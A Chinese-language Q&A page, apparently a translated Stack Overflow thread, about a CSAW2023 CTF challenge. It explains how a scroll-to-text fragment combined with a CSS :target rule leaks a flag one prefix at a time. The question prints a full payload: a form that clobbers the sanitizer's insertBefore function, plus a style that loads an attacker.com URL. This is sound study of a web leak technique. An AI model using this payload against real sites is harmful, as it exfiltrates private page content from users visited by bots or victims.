了解滚动到文本片段 (STTF) 泄漏

问题描述 投票:0回答:1

以下内容涉及CSAW2023 CTF的剧透【CTF已经结束,但还是想警告一下】

背景


在最近的 CSAW2023 CTF 中,在名为 rainbow-notes 的挑战中,我们获得了一个用于编写笔记的网站,以及一个指向管理机器人的链接,您可以在其中提供 URL,它将访问该 URL。在访问给定 URL 之前,它会访问 Rainbow-notes 网站并添加带有标记的注释:

csawctf{flaghere}

解决方案(与链接中引用的解决方案类似,但为了方便起见略有不同)如下:

  1. 首先,要绕过消毒功能,您可以使用表单
    <form id="f"><input name="insertBefore">X</form>
    ,并且使用
    name="insertBefore
    将会隐藏 insertBefore 函数,并且执行消毒的函数将会崩溃。 这不是重要的部分,但我提到它是为了避免混淆
  2. 现在,我想问的重要部分 - 在表单的内部/外部(无关紧要)我们放置一个样式块,如下所示:
    <style>:target{background:url("https://attacker.com/?a=b")}</style>#:~:text=csawctf{a
    ,我们在末尾添加“滚动到文本片段”(
    #:~:text=
    ) 其中末尾的
    a
    可以替换为标志的任何前缀。

我们将发送给机器人的最终有效负载可能如下所示:

https://rainbow-notes.csaw.io/?note=<form id="f"><input name="insertBefore">X<style>:target{background:url("https://attacker.com/?a=b")}</style></form>#:~:text=csawctf{5af5c57dd6}

现在的想法是,如果我们写了正确的标志前缀,滚动到文本片段(STTF)就会起作用,我们将调用 URL,所以现在我们可以慢慢暴力破解解决方案。

问题


我想知道这个滚动到文本片段(

#:~:text=
)是如何工作的。如果没有与 STTF 匹配的文本,为什么它不调用 webhook?

查看 STTF 的规范,我找不到任何谈论此行为的内容。我想这与

:target
位有关,但我不知道。

当我在自己的计算机上使用 STTF 运行代码时,如果没有匹配的文本,我可以发现任何错误。

更新:跟随this链接并阅读有关

:target
选择器的内容,我开始了解情况,但我仍然不确定。据我了解, :target 选择器是一个特殊的选择器,它应用于“url 片段”中引用的元素,例如
http://google.com/index.html#section1
,其中片段为
section1
:target
将引用它。
所以在我们的例子中,

#:~:text=csaw{a

是URL片段,一旦选择(如果存在!),

:target
引用的代码(在我们的例子中调用攻击者url)将运行,并让我们知道这个片段实际上存在。
    

html xss code-injection scroll-to-text
1个回答
0
投票

:target

伪元素是一种特殊的伪元素,它引用了

URI Fragment
,在我们的例子中是STTF。如果有一个字符串与我们在 STTF 中编写的字符串匹配,它将成为 :target 部分引用,因此
{background:url("https://attacker.com/?a=b")}
代码将被执行。
否则(即,如果没有匹配的字符串)什么也不会发生。

这意味着 STTF 不会抛出错误,诀窍很简单,如果不匹配,代码将不会被执行。

© www.soinside.com 2019 - 2024. All rights reserved.